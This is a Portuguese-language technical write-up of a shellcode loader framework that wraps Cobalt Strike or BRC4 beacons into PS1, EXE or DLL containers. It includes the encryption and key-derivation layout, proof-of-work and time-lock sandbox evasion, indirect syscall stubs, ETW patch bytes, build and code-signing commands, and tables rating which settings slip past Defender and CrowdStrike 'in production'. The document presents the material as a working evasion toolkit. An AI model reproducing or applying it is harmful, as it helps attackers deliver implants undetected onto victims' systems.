Framework de delivery de shellcode com evasao avancada — Analise tecnica completa
Framework completo para encapsular um shellcode arbitrario em um container final (PS1, EXE ou DLL). Cada build gera um artefato unico e irreproducivel. O design foca em tres objetivos:
Ofuscacao pesada, junk code (ate 1M funcoes), criptografia multi-camada AES-256 + XOR
Time-lock e Proof-of-Work como barreiras computacionais/temporais
ETW patching, syscalls indiretas, PEB walking sem strings, reflexao .NET
advanced_new_loader/
├── builder/ — Builder CLI (C++)
│ ├── builder.cpp — Entry point, dispatcher de modos
│ ├── builder_stager.cpp — Constroi shellcode intermediario
│ ├── builder_encryption.cpp — AES-256-CBC, XOR, SHA-256
│ └── builder_pssc.cpp — Gera launcher PowerShell ofuscado
├── builder_gui/ — Interface grafica (.NET 10 WinForms)
├── stager/stager.cpp — Shellcode intermediario (executa no alvo)
├── junk_gen/ — Gerador de codigo-lixo
├── containers/
│ ├── exe/exe.cpp — Wrapper EXE
│ └── dll/dll.cpp — Wrapper DLL
├── common/include/
│ ├── stager_common.h — Algoritmo proofOfWork()
│ └── ps_launcher.h — Template PS1 (5312 bytes)
└── bin/Release/
└── cert.p12 — Certificado para assinatura
O stager e um shellcode position-independent com 3 secoes:
Payload do operador (beacon BRC4, Cobalt Strike, etc.)
[XOR key 32B] [PoW index 2B — XOR cifrado] [Expiration secs 4B — XOR cifrado] [TimeFrame offset 8B — XOR cifrado] [Encrypted code size 4B] [Mem protection 4B] [Payload size 4B] [Payload AES criptografado N bytes]
chave_base = rand() 32 bytes (por build) PoW_salt = proofOfWork(1000 * (1 + indice_PoW)) chave_xor = XOR(chave_base, PoW_salt) // Builder aplica: stager_body = XOR(stager_body, chave_xor)
chave_base = rand() 32 bytes chave_pow = XOR(chave_base, PoW_salt) chave_final = XOR(chave_pow, time_frame_id) // so se expiracao ativa IV = 16 bytes de zeros // fixo (concessao de design) shellcode_enc = AES-256-CBC(chave_final, IV, shellcode)
seed = floor(unix_time / lifetime_seconds) chave_aes = SHA-256(seed_as_8_bytes) IV = 16 bytes aleatorios // gerado por build
Algoritmo definido em stager_common.h:
unsigned int proofOfWork(unsigned int N) {
unsigned int a = 1;
for (unsigned int i = 1; i <= N; i++) {
a = (a * i + 1) % 0xffff;
unsigned int n = a;
for (unsigned int j = 1; j < n; j++) {
a = (a * j + 1) % 0xffff;
}
}
return a;
}
| PoW | Iteracoes | Tempo | Defender | CrowdStrike | Uso |
|---|---|---|---|---|---|
| 500 | 501.000 | ~2-3 min | Bloqueado | Invisivel | Nunca usar |
| 700 | 701.000 | ~4-5 min | Invisivel | Invisivel | Testes rapidos |
| 2000 | 2.001.000 | ~10-12 min | Invisivel | Invisivel | Producao |
| 5000 | 5.001.000 | ~25-30 min | Invisivel | Invisivel | Alta seguranca |
Operacoes de memoria usam syscalls indiretas para contornar hooks de user-mode de EDRs:
0x4C 0x8B 0xD1 0xB8 ?? ?? 0x00 0x00SYSCALL; RET (0x0F 0x05 0xC3) dentro do ntdllMOV R10, RCX ; guarda syscall ID MOV R11, RDX ; guarda endereco do gadget RET
MOV EAX, R10D ; carrega syscall ID em EAX MOV R10, RCX ; move primeiro arg para R10 JMP R11 ; salta para gadget SYSCALL;RET dentro do ntdll
Alvo: NtTraceEvent de ntdll (syscall subjacente a EtwEventWrite).
unsigned char aEtwPatch[1] = { 0xc3 }; // RET
Sobrescreve o primeiro byte com RET — funcao retorna imediatamente sem processar eventos ETW.
unsigned char aEtwPatch[3] = { 0x8b, 0xff, 0x55 }; // MOV EDI,EDI; PUSH EBP
Restaura prologo padrao, removendo hook de EDR.
INT APIENTRY wWinMain(...) {
return junkEntry();
}
Wrapper minimo que chama o junk code gerado.
BOOL DllMain(...) {
if (ATTACH) {
junkEntry();
}
return TRUE;
}
Executa via DllMain ou export customizado.
Template de 5312 bytes com:
junk_gen gera junk.h contendo:
| Campo | Descricao | Teste | Producao |
|---|---|---|---|
| Src | Path do shellcode raw (.bin) | beacon.bin | |
| PoW | Proof-of-Work (0-10000) | 700 | 2000+ |
| Expiration | Janela de validade em segundos | NEVER | 3600-86400 |
| Function Count | Funcoes junk (500-1M) | 1000 | 50000+ |
| Protection | RX (stealth) ou RWX (auto-modifica) | RX | RX |
| Container | PS1 / EXE / DLL | EXE | EXE ou DLL |
| Sign | Assinar com cert.p12 | Nao | Sim |
# 1. Gerar stager builder.exe -mode stager -src beacon.bin -dst __stager -expire 3600 -pow 2000 -protect RX # 2a. PS1 builder.exe -mode pssc -sc64 __stager -dst output.ps1 -time 3600 -base64 # 2b. EXE junk_gen.exe -dst containers\exe\junk.h -sc __stager -entry junkEntry -func 50000 msbuild.exe containers\containers.slnx /t:exe /p:Configuration=Release /p:Platform=x64 # 3. Assinar sign_code.bat output.exe
8/8 sistemas testados. Nenhum AV/EDR alertou ou bloqueou.
| SO | EXE x64 | Nota |
|---|---|---|
| Windows 10 | Funciona | |
| Windows 11 | Funciona | Testado em VPS e maquina fisica |
| Server 2019 | Funciona | |
| Server 2022 | Funciona | |
| Server 2025 | Funciona | |
| Server 2012 R2 | Nao roda | Runtime C++ v145 incompativel |
| Server 2008 R2 | Nao roda | Runtime C++ v145 incompativel |
| Tecnica | ID | Componente |
|---|---|---|
| Multi-layer Encryption | T1027.002 | builder_stager (XOR + AES-256) |
| Software Packing | T1027 | Junk code, PS1 obfuscation |
| ETW Patching | T1562.006 | stager: NtTraceEvent patch |
| Direct/Indirect Syscalls | T1106 | Hell's Gate + Halo's Gate |
| Code Signing | T1553.002 | signtool + cert.p12 |
| Sandbox Evasion (Time) | T1497.003 | Time-lock |
| Sandbox Evasion (Compute) | T1497.002 | Proof-of-Work |